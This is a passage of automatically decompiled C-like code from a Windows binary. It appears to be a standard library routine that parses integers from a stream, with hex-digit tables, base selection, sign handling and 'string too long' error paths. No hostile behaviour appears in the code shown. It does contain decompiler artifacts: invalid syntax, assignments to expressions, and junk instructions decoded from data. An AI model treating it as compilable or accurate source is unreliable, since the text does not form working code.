				signed short _t410;
				signed short _t412;
				signed short _t413;
				signed short _t415;
				signed short _t416;
				signed short _t417;
				signed int _t418;
				signed int _t419;
				signed int _t420;
				signed int _t421;
				intOrPtr _t423;
				signed int _t427;
				signed char _t431;
				signed int _t433;
				signed int _t435;
				void* _t440;
				signed int _t443;
				signed int _t446;
				signed int _t447;
				signed int _t449;
				void* _t450;
				signed int _t451;
				signed int _t452;
				void* _t455;
				void* _t456;
				signed int _t457;
				signed int _t459;
				signed int _t460;
				signed int _t462;
				signed int _t464;
				void* _t466;
				signed short* _t503;
				intOrPtr* _t504;
				intOrPtr* _t505;
				signed short* _t507;
				unsigned long long _t508;
				char* _t510;
				intOrPtr _t511;
				intOrPtr _t512;
				void* _t516;
				intOrPtr _t519;
				intOrPtr* _t520;
				signed long long _t522;
				intOrPtr _t523;
				void* _t524;
				signed short* _t529;
				long long* _t531;
				long long* _t541;
				signed short* _t544;
				signed short* _t549;
				long long* _t551;
				signed short* _t555;
				signed short* _t558;
				signed short* _t561;
				intOrPtr _t563;
				void* _t566;
				signed short* _t569;
				signed char _t571;
				signed short* _t577;
				void* _t580;
				signed long long _t581;
				signed long long _t584;
				unsigned long long _t588;
				void* _t589;
				signed int _t591;
				intOrPtr* _t599;
				intOrPtr* _t600;
				intOrPtr* _t601;
				intOrPtr* _t602;
				signed int _t603;
				intOrPtr* _t604;
				intOrPtr _t606;
				intOrPtr _t607;
				signed int _t609;
				void* _t610;
				signed long long _t612;
				void* _t614;
				unsigned long long _t616;
				char* _t619;
				signed long long _t621;
				signed int _t623;
				signed long long _t625;
				signed int _t628;
				void* _t629;
				short* _t632;
				intOrPtr _t634;
				intOrPtr _t635;
				intOrPtr* _t637;
				void* _t642;
				intOrPtr* _t643;
				intOrPtr* _t644;
				intOrPtr* _t645;
				intOrPtr* _t646;
				intOrPtr* _t648;
				intOrPtr* _t649;
				intOrPtr* _t651;
				intOrPtr* _t652;
				intOrPtr* _t654;
				intOrPtr* _t655;
				intOrPtr _t657;
				intOrPtr _t659;
				char _t660;
				intOrPtr* _t661;
				intOrPtr* _t662;
				intOrPtr* _t663;
				intOrPtr* _t665;
				intOrPtr* _t666;
				intOrPtr* _t667;
				char* _t669;
				signed short* _t670;
				signed long long _t671;
				unsigned long long _t673;
				signed int _t674;
				signed short* _t680;
				long long _t687;
				intOrPtr* _t688;
				unsigned long long _t690;
				signed long long _t692;
				signed int* _t700;
				signed int* _t701;
				signed int* _t702;
				signed int* _t703;
				signed short* _t706;
				signed short* _t707;
				char* _t709;
				unsigned long long _t712;
				unsigned long long _t713;
				unsigned long long _t716;
				signed int* _t718;
				intOrPtr* _t719;
				void* _t720;
				void* _t722;
				void* _t723;
				void* _t724;
				intOrPtr* _t730;
				intOrPtr* _t735;
				signed short* _t737;
				void* _t738;
				void* _t739;
				unsigned long long _t740;
				void* _t741;
				void* _t743;
				signed long long _t744;
				signed long long _t747;
				char* _t748;
				char* _t750;
				void* _t753;
				intOrPtr* _t754;
				intOrPtr _t757;
				signed int _t758;
				signed int _t762;
				signed long long _t764;

				_t737 = __r9;
				_t730 = __r8;
				_t671 = __rdx;
				_t427 = __ecx;
				_push(_t753);
				_push(_t747);
				_push(_t740);
				_push(_t580);
				_t723 = _t722 - 0x68;
				_t718 = _t723 + 0x60;
				_t706 = __r9;
				_t687 = __r8;
				 *((long long*)(_t718 - 0x40)) = __rdx;
				_t762 = __rcx;
				_t326 =  *__r9 & 0x0000ffff;
				if(_t326 != 0) {
					_t3 =  &(_t706[1]); // 0x2
					_t670 = _t3;
					_t449 = _t326;
					do {
						_t418 = 0 | _t449 == _t326;
						_t687 = _t687 + _t580;
						_t449 =  *_t670 & 0x0000ffff;
						_t670 =  &(_t670[1]);
					} while (_t449 != 0);
				}
				asm("dec ax");
				asm("pslldq xmm0, 0x8");
				asm("movdqu [ebp-0x18], xmm0");
				 *((char*)(_t718 - 0x28)) = 0;
				if(_t687 == 0xffffffff) {
					_t328 = L00430CE0(_t418, _t440, _t466, _t503, "string too long", _t687, _t706);
					asm("ud2");
					_t707 = _t503;
					_t504 =  *((intOrPtr*)(_t718 - 0x10));
					__eflags = _t504 - 0x10;
					if(_t504 >= 0x10) {
						_t657 =  *((intOrPtr*)(_t718 - 0x28));
						_t504 = _t504 + 1;
						__eflags = _t504 - 0x1000;
						if(_t504 >= 0x1000) {
							_t657 =  *((intOrPtr*)(_t657 - 8));
						}
						_t328 = E00402090(_t328, _t657);
					}
					_t329 = E0044CEA0(_t328, _t707);
					asm("ud2");
					 *_t730 =  *_t730 + r8b;
					 *_t504 =  *_t504 + (_t329 & 0x00000061);
					_t86 = _t504 - 0x6f6f6f70;
					 *_t86 =  *(_t504 - 0x6f6f6f70) + _t440;
					__eflags =  *_t86;
					_t724 = _t723 - 0xd8;
					_t719 = _t724 + 0x80;
					 *(_t719 + 0x30) = _t737;
					_t754 = _t730;
					_t581 = _t671;
					_t708 =  *((intOrPtr*)(_t719 + 0xc8));
					E00412FF0(_t418, _t440, _t450, _t466,  *((intOrPtr*)(_t719 + 0xc8)), _t730, _t737, _t739, _t740, _t747, _t754, _t762);
					_t688 = _t504;
					_t505 =  *_t688;
					 *((intOrPtr*)(_t505 + 0x30))(_t580, _t687, _t707, _t740, _t747, _t753, _t762, _t718);
					__eflags =  *((long long*)(_t719 - 8));
					if( *((long long*)(_t719 - 8)) == 0) {
						 *(_t719 + 0x4c) = 0;
					} else {
						_t505 =  *_t688;
						 *(_t719 + 0x4c) =  *((intOrPtr*)(_t505 + 0x28))();
					}
					E004119C0(_t418, _t440, _t450, _t466, _t708, _t730, _t737, _t739, _t754);
					_t673 = "0123456789ABCDEFabcdef-+Xx";
					_t738 = _t719 - 0x60;
					 *((intOrPtr*)( *_t505 + 0x68))();
					_t599 =  *_t754;
					_t455 = 0;
					__eflags = _t599;
					_t451 = 0;
					if(_t599 != 0) {
						_t561 =  *((intOrPtr*)( *((intOrPtr*)(_t599 + 0x38))));
						__eflags = _t561;
						if(_t561 == 0) {
							L93:
							_t402 =  *((intOrPtr*)( *_t599 + 0x38))();
						} else {
							_t673 =  *((intOrPtr*)(_t599 + 0x50));
							__eflags =  *_t673;
							if( *_t673 <= 0) {
								goto L93;
							} else {
								_t402 =  *_t561 & 0x0000ffff;
							}
						}
						_t451 = 0;
						__eflags = (_t402 & 0x0000ffff) - 0xffff;
						dil = (_t402 & 0x0000ffff) != 0xffff;
						__eflags = dil;
					}
					_t600 =  *( *(_t719 + 0x30));
					__eflags = _t600;
					if(_t600 != 0) {
						_t558 =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0x38))));
						__eflags = _t558;
						if(_t558 == 0) {
							L99:
							_t400 =  *((intOrPtr*)( *_t600 + 0x38))();
						} else {
							_t673 =  *((intOrPtr*)(_t600 + 0x50));
							__eflags =  *_t673;
							if( *_t673 <= 0) {
								goto L99;
							} else {
								_t400 =  *_t558 & 0x0000ffff;
							}
						}
						_t455 = 0;
						__eflags = (_t400 & 0x0000ffff) - 0xffff;
						sil = (_t400 & 0x0000ffff) != 0xffff;
						__eflags = sil;
					}
					__eflags = _t451 - _t455;
					if(_t451 != _t455) {
						__eflags =  *((char*)(_t754 + 8));
						if( *((char*)(_t754 + 8)) == 0) {
							_t655 =  *_t754;
							__eflags = _t655;
							if(_t655 == 0) {
								L111:
								 *_t754 = 0;
							} else {
								_t555 =  *((intOrPtr*)( *((intOrPtr*)(_t655 + 0x38))));
								__eflags = _t555;
								if(_t555 == 0) {
									L108:
									_t399 =  *((intOrPtr*)( *_t655 + 0x38))();
								} else {
									_t673 =  *((intOrPtr*)(_t655 + 0x50));
									__eflags =  *_t673;
									if( *_t673 <= 0) {
										goto L108;
									} else {
										_t399 =  *_t555 & 0x0000ffff;
									}
								}
								_t427 = _t399 & 0x0000ffff;
								__eflags = _t427 - 0xffff;
								if(_t427 == 0xffff) {
									goto L111;
								} else {
									 *(_t754 + 0xa) = _t399;
								}
							}
							 *((char*)(_t754 + 8)) = 1;
						}
						_t335 =  *(_t754 + 0xa) & 0x0000ffff;
						__eflags = _t335 -  *((intOrPtr*)(_t719 - 0x32));
						if(_t335 !=  *((intOrPtr*)(_t719 - 0x32))) {
							__eflags = _t335 -  *((intOrPtr*)(_t719 - 0x34));
							if(_t335 !=  *((intOrPtr*)(_t719 - 0x34))) {
								goto L102;
							} else {
								 *_t581 = 0x2d;
								_t652 =  *_t754;
								__eflags = _t652;
								if(_t652 == 0) {
									goto L126;
								} else {
									_t551 =  *((intOrPtr*)(_t652 + 0x38));
									_t673 =  *_t551;
									__eflags = _t673;
									if(_t673 == 0) {
										L123:
										_t397 =  *((intOrPtr*)( *_t652 + 0x40))();
									} else {
										_t703 =  *((intOrPtr*)(_t652 + 0x50));
										_t464 =  *_t703;
										__eflags = _t464;
										if(_t464 <= 0) {
											goto L123;
										} else {
											goto L122;
										}
									}
									goto L124;
								}
								goto L127;
							}
						} else {
							 *_t581 = 0x2b;
							_t654 =  *_t754;
							__eflags = _t654;
							if(_t654 == 0) {
								L126:
								 *_t754 = 0;
								_t396 = 1;
							} else {
								_t551 =  *((intOrPtr*)(_t654 + 0x38));
								_t673 =  *_t551;
								__eflags = _t673;
								if(_t673 == 0) {
									L117:
									_t397 =  *((intOrPtr*)( *_t654 + 0x40))();
								} else {
									_t703 =  *((intOrPtr*)(_t654 + 0x50));
									_t464 =  *_t703;
									__eflags = _t464;
									if(_t464 > 0) {
										L122:
										 *_t703 = _t464 - 1;
										 *_t551 = _t673 + 2;
										_t397 =  *_t673 & 0x0000ffff;
									} else {
										goto L117;
									}
								}
								L124:
								__eflags = (_t397 & 0x0000ffff) - 0xffff;
								if((_t397 & 0x0000ffff) == 0xffff) {
									goto L126;
								} else {
									_t396 = 0;
								}
							}
							L127:
							 *((char*)(_t754 + 8)) = _t396;
							r12d = 1;
						}
					} else {
						L102:
						r12d = 0;
					}
					_t337 =  *(_t719 + 0xc0) & 0x00000070;
					__eflags = _t337 - 0x20;
					if(_t337 == 0x20) {
						r15d = 8;
					} else {
						__eflags = _t337 - 0x40;
						if(_t337 != 0x40) {
							__eflags = _t337;
							r15d = 0xa;
							r15d =  ==  ? _t337 : r15d;
						} else {
							r15d = 0x10;
						}
					}
					_t601 =  *_t754;
					_t456 = 0;
					__eflags = _t601;
					_t452 = 0;
					if(_t601 != 0) {
						_t549 =  *((intOrPtr*)( *((intOrPtr*)(_t601 + 0x38))));
						__eflags = _t549;
						if(_t549 == 0) {
							L137:
							_t394 =  *((intOrPtr*)( *_t601 + 0x38))();
						} else {
							_t673 =  *((intOrPtr*)(_t601 + 0x50));
							__eflags =  *_t673;
							if( *_t673 <= 0) {
								goto L137;
							} else {
								_t394 =  *_t549 & 0x0000ffff;
							}
						}
						_t452 = 0;
						__eflags = (_t394 & 0x0000ffff) - 0xffff;
						dil = (_t394 & 0x0000ffff) != 0xffff;
						__eflags = dil;
					}
					_t507 =  *(_t719 + 0x30);
					_t602 =  *_t507;
					__eflags = _t602;
					if(_t602 != 0) {
						_t507 =  *((intOrPtr*)( *((intOrPtr*)(_t602 + 0x38))));
						__eflags = _t507;
						if(_t507 == 0) {
							L143:
							_t507 =  *_t602;
							_t392 = _t507[0x1c]();
						} else {
							_t673 =  *((intOrPtr*)(_t602 + 0x50));
							__eflags =  *_t673;
							if( *_t673 <= 0) {
								goto L143;
							} else {
								_t392 =  *_t507 & 0x0000ffff;
							}
						}
						_t456 = 0;
						__eflags = (_t392 & 0x0000ffff) - 0xffff;
						sil = (_t392 & 0x0000ffff) != 0xffff;
						__eflags = sil;
					}
					__eflags = _t452 - _t456;
					 *(_t719 + 0x38) = _t581;
					if(_t452 != _t456) {
						__eflags =  *((char*)(_t754 + 8));
						if( *((char*)(_t754 + 8)) == 0) {
							_t651 =  *_t754;
							__eflags = _t651;
							if(_t651 == 0) {
								L155:
								 *_t754 = 0;
							} else {
								_t507 =  *((intOrPtr*)( *((intOrPtr*)(_t651 + 0x38))));
								__eflags = _t507;
								if(_t507 == 0) {
									L152:
									_t507 =  *_t651;
									_t391 = _t507[0x1c]();
								} else {
									_t673 =  *((intOrPtr*)(_t651 + 0x50));
									__eflags =  *_t673;
									if( *_t673 <= 0) {
										goto L152;
									} else {
										_t391 =  *_t507 & 0x0000ffff;
									}
								}
								_t427 = _t391 & 0x0000ffff;
								__eflags = _t427 - 0xffff;
								if(_t427 == 0xffff) {
									goto L155;
								} else {
									 *(_t754 + 0xa) = _t391;
								}
							}
							 *((char*)(_t754 + 8)) = 1;
						}
						__eflags = ( *(_t754 + 0xa) & 0x0000ffff) -  *((intOrPtr*)(_t719 - 0x60));
						_t690 = _t740;
						if(( *(_t754 + 0xa) & 0x0000ffff) !=  *((intOrPtr*)(_t719 - 0x60))) {
							 *(_t719 + 0x50) = 0;
							goto L201;
						} else {
							_t644 =  *_t754;
							__eflags = _t644;
							if(_t644 == 0) {
								L169:
								 *_t754 = 0;
								 *((char*)(_t754 + 8)) = 1;
								goto L170;
							} else {
								_t541 =  *((intOrPtr*)(_t644 + 0x38));
								_t673 =  *_t541;
								__eflags = _t673;
								if(_t673 == 0) {
									L163:
									_t387 =  *((intOrPtr*)( *_t644 + 0x40))();
								} else {
									_t702 =  *((intOrPtr*)(_t644 + 0x50));
									_t462 =  *_t702;
									__eflags = _t462;
									if(_t462 <= 0) {
										goto L163;
									} else {
										 *_t702 = _t462 - 1;
										 *_t541 = _t673 + 2;
										_t387 =  *_t673 & 0x0000ffff;
									}
								}
								__eflags = (_t387 & 0x0000ffff) - 0xffff;
								_t690 = _t740;
								if((_t387 & 0x0000ffff) == 0xffff) {
									goto L169;
								} else {
									_t649 =  *_t754;
									 *((char*)(_t754 + 8)) = 0;
									__eflags = _t649;
									if(_t649 == 0) {
										L170:
										_t459 = 0;
									} else {
										_t544 =  *((intOrPtr*)( *((intOrPtr*)(_t649 + 0x38))));
										__eflags = _t544;
										if(_t544 == 0) {
											L171:
											_t389 =  *((intOrPtr*)( *_t649 + 0x38))();
											_t690 = _t740;
										} else {
											_t673 =  *((intOrPtr*)(_t649 + 0x50));
											__eflags =  *_t673;
											if( *_t673 <= 0) {
												goto L171;
											} else {
												_t389 =  *_t544 & 0x0000ffff;
											}
										}
										_t459 = 0;
										__eflags = (_t389 & 0x0000ffff) - 0xffff;
										sil = (_t389 & 0x0000ffff) != 0xffff;
										__eflags = sil;
									}
								}
							}
							_t507 =  *(_t719 + 0x30);
							_t645 =  *_t507;
							__eflags = _t645;
							if(_t645 == 0) {
								__eflags = _t459;
								if(_t459 != 0) {
									goto L179;
								} else {
									goto L200;
								}
							} else {
								_t507 =  *((intOrPtr*)( *((intOrPtr*)(_t645 + 0x38))));
								__eflags = _t507;
								if(_t507 == 0) {
									L177:
									_t507 =  *_t645;
									_t384 = _t507[0x1c]();
									_t690 = _t740;
								} else {
									_t673 =  *((intOrPtr*)(_t645 + 0x50));
									__eflags =  *_t673;
									if( *_t673 <= 0) {
										goto L177;
									} else {
										_t384 =  *_t507 & 0x0000ffff;
									}
								}
								_t427 = _t384 & 0x0000ffff;
								_t427 - 0xffff = _t459 - (_t427 != 0xffff);
								if(_t459 == _t427 != 0xffff) {
									L200:
									__eflags = r15d;
									r15d =  ==  ? 8 : r15d;
									 *(_t719 + 0x50) = 1;
									goto L201;
								} else {
									L179:
									__eflags =  *((char*)(_t754 + 8));
									if( *((char*)(_t754 + 8)) == 0) {
										_t648 =  *_t754;
										__eflags = _t648;
										if(_t648 == 0) {
											L189:
											 *_t754 = 0;
										} else {
											_t507 =  *((intOrPtr*)( *((intOrPtr*)(_t648 + 0x38))));
											__eflags = _t507;
											if(_t507 == 0) {
												L186:
												_t507 =  *_t648;
												_t383 = _t507[0x1c]();
												_t690 = _t740;
											} else {
												_t673 =  *((intOrPtr*)(_t648 + 0x50));
												__eflags =  *_t673;
												if( *_t673 <= 0) {
													goto L186;
												} else {
													_t383 =  *_t507 & 0x0000ffff;
												}
											}
											_t427 = _t383 & 0x0000ffff;
											__eflags = _t427 - 0xffff;
											if(_t427 == 0xffff) {
												goto L189;
											} else {
												 *(_t754 + 0xa) = _t383;
											}
										}
										 *((char*)(_t754 + 8)) = 1;
									}
									_t374 =  *(_t754 + 0xa) & 0x0000ffff;
									__eflags = _t374 -  *((intOrPtr*)(_t719 - 0x2e));
									if(_t374 !=  *((intOrPtr*)(_t719 - 0x2e))) {
										_t427 = r15d | 0x00000010;
										__eflags = _t427 - 0x10;
										if(_t427 != 0x10) {
											goto L200;
										} else {
											__eflags = _t374 -  *((intOrPtr*)(_t719 - 0x30));
											if(_t374 !=  *((intOrPtr*)(_t719 - 0x30))) {
												goto L200;
											} else {
												goto L196;
											}
										}
									} else {
										__eflags = (r15d | 0x00000010) - 0x10;
										if((r15d | 0x00000010) == 0x10) {
											L196:
											_t646 =  *_t754;
											__eflags = _t646;
											if(_t646 == 0) {
												L294:
												 *_t754 = 0;
												_t377 = 1;
											} else {
												_t507 =  *((intOrPtr*)(_t646 + 0x38));
												_t673 =  *_t507;
												__eflags = _t673;
												if(_t673 == 0) {
													L291:
													_t507 =  *_t646;
													_t379 = _t507[0x20]();
												} else {
													_t701 =  *((intOrPtr*)(_t646 + 0x50));
													_t460 =  *_t701;
													__eflags = _t460;
													if(_t460 <= 0) {
														goto L291;
													} else {
														 *_t701 = _t460 - 1;
														 *_t507 = _t673 + 2;
														_t379 =  *_t673 & 0x0000ffff;
													}
												}
												__eflags = (_t379 & 0x0000ffff) - 0xffff;
												_t690 = _t740;
												if((_t379 & 0x0000ffff) == 0xffff) {
													goto L294;
												} else {
													_t377 = 0;
												}
											}
											 *((char*)(_t754 + 8)) = _t377;
											 *(_t719 + 0x54) = 0x10;
											 *(_t719 + 0x40) = _t507;
											 *(_t719 + 0x50) = 0;
										} else {
											goto L200;
										}
									}
								}
							}
						}
					} else {
						 *(_t719 + 0x50) = 0;
						_t690 = _t740;
						L201:
						 *(_t719 + 0x40) = _t507;
						__eflags = r15d;
						if(r15d == 0) {
							L205:
							 *(_t719 + 0x54) = r15d;
						} else {
							__eflags = r15d - 0xa;
							if(r15d == 0xa) {
								goto L205;
							} else {
								__eflags = r15d - 8;
								if(r15d != 8) {
									 *(_t719 + 0x54) = r15d;
								} else {
									 *(_t719 + 0x54) = 8;
								}
								 *(_t719 + 0x40) = _t507;
							}
						}
					}
					_t741 = _t719 + 0x10;
					 *((char*)(_t719 + 0x10)) =  *(_t719 + 0x50);
					asm("movaps xmm0, [0x37d13]");
					asm("movups [ebp+0x20], xmm0");
					 *((char*)(_t719 + 0x11)) = 0;
					_t419 = 0;
					r15d = 0;
					while(1) {
						_t603 =  *_t754;
						__eflags = _t603;
						r13d = 0;
						if(_t603 == 0) {
							goto L236;
						}
						L231:
						_t529 =  *((intOrPtr*)( *((intOrPtr*)(_t603 + 0x38))));
						__eflags = _t529;
						if(_t529 == 0) {
							L234:
							_t360 =  *((intOrPtr*)( *_t603 + 0x38))();
						} else {
							_t673 =  *((intOrPtr*)(_t603 + 0x50));
							__eflags =  *_t673;
							if( *_t673 <= 0) {
								goto L234;
							} else {
								_t360 =  *_t529 & 0x0000ffff;
							}
						}
						r13d = 0;
						__eflags = (_t360 & 0x0000ffff) - 0xffff;
						r13b = (_t360 & 0x0000ffff) != 0xffff;
						__eflags = r13b;
						L236:
						_t508 =  *(_t719 + 0x30);
						_t604 =  *_t508;
						__eflags = _t604;
						if(_t604 == 0) {
							_t341 = 0;
							__eflags = 0;
						} else {
							_t508 =  *((intOrPtr*)( *((intOrPtr*)(_t604 + 0x38))));
							__eflags = _t508;
							if(_t508 == 0) {
								L240:
								_t508 =  *_t604;
								_t358 =  *((intOrPtr*)(_t508 + 0x38))();
							} else {
								_t673 =  *((intOrPtr*)(_t604 + 0x50));
								__eflags =  *_t673;
								if( *_t673 <= 0) {
									goto L240;
								} else {
									_t358 =  *_t508 & 0x0000ffff;
								}
							}
							_t427 = _t358 & 0x0000ffff;
							__eflags = _t427 - 0xffff;
							_t341 = 0 | _t427 != 0x0000ffff;
						}
						_t709 =  *(_t719 + 0x38) + _t690;
						__eflags = r13d - _t341;
						if(r13d == _t341) {
							L258:
							__eflags = _t762;
							if(_t762 == 0) {
								_t748 = _t719 - 0x18;
								_t341 =  *(_t719 + 0x50) & 0x00000001;
								__eflags = _t341;
								r8d = _t341;
								r14d =  *(_t719 + 0x54);
								goto L275;
							} else {
								__eflags =  *((long long*)(_t719 + 0x28)) - 0xf;
								_t516 =  <=  ? _t741 :  *((intOrPtr*)(_t719 + 0x10));
								__eflags =  *((char*)(_t516 + _t762));
								_t236 =  *((char*)(_t516 + _t762)) > 0;
								__eflags = _t236;
								r9d =  *(_t719 + 0x50);
								if(_t236 <= 0) {
									r9d = 0;
									__eflags = r9d;
								}
								_t748 = _t719 - 0x18;
								r8d = r9d;
								r8b = r8b & 0x00000001;
								__eflags = r8b;
								if(r8b == 0) {
									L278:
									r14d =  *(_t719 + 0x54);
									__eflags = _t419 & 0x00000001;
									if((_t419 & 0x00000001) == 0) {
										goto L276;
									} else {
										goto L281;
									}
								} else {
									__eflags = _t762 + _t673;
									if(_t762 + _t673 == 0) {
										goto L278;
									} else {
										__eflags =  *_t719 - 0xf;
										_t609 =  <=  ? _t748 :  *((intOrPtr*)(_t719 - 0x18));
										__eflags =  *((long long*)(_t719 + 0x28)) - 0xf;
										_t743 =  >  ?  *((void*)(_t719 + 0x10)) : _t741;
										_t674 = _t673 + _t762 - 1;
										r14d =  *(_t719 + 0x54);
										asm("o16 nop [cs:eax+eax]");
										while(1) {
											_t692 = _t581;
											_t419 =  *_t609 & 0x000000ff;
											__eflags = _t419 - 0x7f;
											if(_t419 == 0x7f) {
												break;
											}
											__eflags = _t674;
											_t341 =  *(_t743 + _t674) & 0x000000ff;
											if(_t674 == 0) {
												__eflags = _t419 - _t341;
												if(_t419 >= _t341) {
													goto L267;
												} else {
													goto L273;
												}
											} else {
												__eflags = _t419 - _t341;
												if(_t419 != _t341) {
													L273:
													_t510 =  *(_t719 + 0x38);
												} else {
													L267:
													__eflags =  *(_t609 + 1);
													if( *(_t609 + 1) > 0) {
														_t609 = _t609 + 1;
														__eflags = _t609;
													}
													_t581 = _t692;
													__eflags = r9b & 0x00000001;
													if((r9b & 0x00000001) == 0) {
														L275:
														__eflags = _t419 & 0x00000001;
														if((_t419 & 0x00000001) != 0) {
															L281:
															__eflags = r8b & 0x00000001;
															_t510 =  !=  ? _t709 :  *(_t719 + 0x38);
														} else {
															L276:
															__eflags = r8b & 0x00000001;
															if((r8b & 0x00000001) == 0) {
																goto L281;
															} else {
																 *_t709 = 0x30;
																_t510 = _t709 + 1;
															}
														}
													} else {
														__eflags = _t674;
														_t674 = _t674 - 1;
														if(__eflags != 0) {
															continue;
														} else {
															goto L275;
														}
													}
												}
											}
											goto L282;
										}
										r8b = 1;
										__eflags = _t419 & 0x00000001;
										if((_t419 & 0x00000001) == 0) {
											goto L276;
										} else {
											goto L281;
										}
									}
								}
							}
							L282:
							 *_t510 = 0;
							_t511 =  *((intOrPtr*)(_t719 + 0x28));
							__eflags = _t511 - 0x10;
							if(_t511 >= 0x10) {
								_t607 =  *((intOrPtr*)(_t719 + 0x10));
								__eflags = _t511 + 1 - 0x1000;
								if(_t511 + 1 >= 0x1000) {
									_t607 =  *((intOrPtr*)(_t607 - 8));
								}
								_t341 = E00402090(_t341, _t607);
							}
							_t512 =  *_t719;
							__eflags = _t512 - 0x10;
							if(_t512 >= 0x10) {
								_t606 =  *((intOrPtr*)(_t719 - 0x18));
								__eflags = _t512 + 1 - 0x1000;
								if(_t512 + 1 >= 0x1000) {
									_t606 =  *((intOrPtr*)(_t606 - 8));
								}
								E00402090(_t341, _t606);
							}
							 *_t719 = 0xf;
							 *_t748 = 0;
							return r14d;
						} else {
							__eflags =  *((char*)(_t754 + 8));
							if( *((char*)(_t754 + 8)) == 0) {
								_t643 =  *_t754;
								__eflags = _t643;
								if(_t643 == 0) {
									L252:
									 *_t754 = 0;
								} else {
									_t508 =  *((intOrPtr*)( *((intOrPtr*)(_t643 + 0x38))));
									__eflags = _t508;
									if(_t508 == 0) {
										L249:
										_t508 =  *_t643;
										_t370 =  *((intOrPtr*)(_t508 + 0x38))();
									} else {
										__eflags =  *( *(_t643 + 0x50));
										if( *( *(_t643 + 0x50)) <= 0) {
											goto L249;
										} else {
											_t370 =  *_t508 & 0x0000ffff;
										}
									}
									_t427 = _t370 & 0x0000ffff;
									__eflags = _t427 - 0xffff;
									if(_t427 == 0xffff) {
										goto L252;
									} else {
										 *(_t754 + 0xa) = _t370;
									}
								}
								 *((char*)(_t754 + 8)) = 1;
							}
							_t341 =  *(_t754 + 0xa) & 0x0000ffff;
							_t610 = _t719 - 0x62;
							asm("o16 nop [cs:eax+eax]");
							while(1) {
								_t443 =  *(_t610 + 2) & 0x0000ffff;
								_t610 = _t610 + 2;
								__eflags = _t443;
								if(_t443 == 0) {
									break;
								}
								__eflags = _t443 - _t341;
								if(_t443 != _t341) {
									continue;
								} else {
								}
								break;
							}
							_t673 = _t719 - 0x60;
							_t612 = _t610 - _t673 >> 1;
							__eflags = _t612 -  *(_t719 + 0x40);
							if(_t612 >=  *(_t719 + 0x40)) {
								__eflags =  *((long long*)(_t719 + 0x28)) - 0xf;
								_t614 =  <=  ? _t741 :  *((intOrPtr*)(_t719 + 0x10));
								__eflags =  *((char*)(_t614 + _t762));
								if( *((char*)(_t614 + _t762)) == 0) {
									goto L258;
								} else {
									__eflags =  *(_t719 + 0x4c);
									if( *(_t719 + 0x4c) == 0) {
										goto L258;
									} else {
										__eflags = _t341 -  *(_t719 + 0x4c);
										if(_t341 !=  *(_t719 + 0x4c)) {
											goto L258;
										} else {
											_t712 =  *(_t719 + 0x20);
											__eflags = _t712 - 0xfffffffe;
											if(_t712 >= 0xfffffffe) {
												_t345 = L00430CE0(_t419, _t443, _t466, _t508, "string too long", _t690, _t712);
												asm("ud2");
												_t713 = _t508;
												_t519 =  *((intOrPtr*)(_t719 + 0x28));
												__eflags = _t519 - 0x10;
												if(_t519 >= 0x10) {
													_t635 =  *((intOrPtr*)(_t719 + 0x10));
													__eflags = _t519 + 1 - 0x1000;
													if(_t519 + 1 >= 0x1000) {
														_t635 =  *((intOrPtr*)(_t635 - 8));
													}
													_t345 = E00402090(_t345, _t635);
												}
												_t520 =  *_t719;
												__eflags = _t520 - 0x10;
												if(_t520 >= 0x10) {
													_t634 =  *((intOrPtr*)(_t719 - 0x18));
													_t520 = _t520 + 1;
													__eflags = _t520 - 0x1000;
													if(_t520 >= 0x1000) {
														_t634 =  *((intOrPtr*)(_t634 - 8));
													}
													_t345 = E00402090(_t345, _t634);
												}
												_t616 = _t713;
												_t346 = E0044CEA0(_t345, _t616);
												asm("ud2");
												if(__eflags < 0) {
													L313:
													_t584 =  >  ? _t713 : _t581;
													__eflags = _t520 - 8;
													if(_t520 >= 8) {
														_t287 = _t690 + 8; // 0x8
														_t617 = _t287;
														_t757 =  *_t287;
														__eflags = _t584;
														if(_t584 != 0) {
															_t346 = E00437830(_t346, _t617, _t757, _t584);
															_t520 =  *((intOrPtr*)(_t690 + 0x20));
														}
														__eflags = _t520 + _t520 + 2 - 0x1000;
														if(_t520 + _t520 + 2 >= 0x1000) {
															_t757 =  *((intOrPtr*)(_t757 - 8));
														}
														_t346 = E00402090(_t346, _t757);
													}
													 *((long long*)(_t690 + 0x20)) = 7;
													 *(_t690 + 0x18) = _t584;
													 *((short*)(_t690 + 8 + _t584 * 2)) = 0;
													goto L324;
												} else {
													 *0x44eb1b =  *0x44eb1b + r8b;
													 *_t520 =  *_t520 + _t346;
													_t281 = _t520 + 0x55909090;
													 *_t281 =  *(_t520 + 0x55909090) + _t443;
													__eflags =  *_t281;
													_push(_t719);
													_push(_t754);
													_push(_t713);
													_push(_t690);
													_push(_t581);
													_t720 = _t724 + 0x20;
													_t713 = _t673;
													_t690 = _t616;
													_t522 = 0xffffffff;
													__eflags = _t713 - 0xffffffff;
													if(_t713 >= 0xffffffff) {
														_t619 = "string too long";
														_t348 = L00430CE0(_t419, _t443, _t466, 0xffffffff, _t619, _t690, _t713);
														asm("ud2");
														0;
														_push(_t720);
														_push(_t762);
														_push(_t754);
														_push(_t747);
														_push(_t741);
														_push(_t713);
														_push(_t690);
														_push(_t581);
														_t758 = 0x44eb1b;
														_t764 = _t673;
														_t750 = _t619;
														_t694 = 0xfffffffe;
														_t621 = _t764 | 0x00000007;
														__eflags = _t621 - 0xfffffffe;
														_t744 = _t764;
														if(_t621 > 0xfffffffe) {
															L330:
															_t623 = _t744 + 1;
															__eflags = _t623;
															if(_t623 == 0) {
																_t744 = 0xffffffff;
																__eflags = _t758;
																if(_t758 != 0) {
																	goto L339;
																} else {
																}
															} else {
																__eflags = _t623;
																if(__eflags < 0) {
																	L00430C30(_t419, _t443, _t452, _t466, __eflags, _t522, _t581, _t623, _t673, _t694, _t713, _t738, _t739, _t758);
																	goto L353;
																} else {
																	_t621 = _t623 + _t623;
																	__eflags = _t621 - 0x1000;
																	if(_t621 < 0x1000) {
																		_t348 = E0040F1B0(_t419, _t443, _t452, _t466, _t522, _t581, _t621, _t694, 0x44eb1b, _t738, _t739, _t758);
																		_t694 = _t522;
																		__eflags = _t758;
																		if(_t758 != 0) {
																			goto L339;
																		}
																	} else {
																		__eflags = _t621 - 0xffffffd9;
																		if(__eflags >= 0) {
																			goto L352;
																		} else {
																			_t348 = E0040F1B0(_t419, _t443, _t452, _t466, _t522, _t581, _t621 + 0x27, _t694, 0x44eb1b, _t738, _t739, _t758);
																			_t694 = _t522 + 0x00000027 & 0xffffffe0;
																			 *(_t694 - 8) = _t522;
																			__eflags = _t758;
																			if(_t758 != 0) {
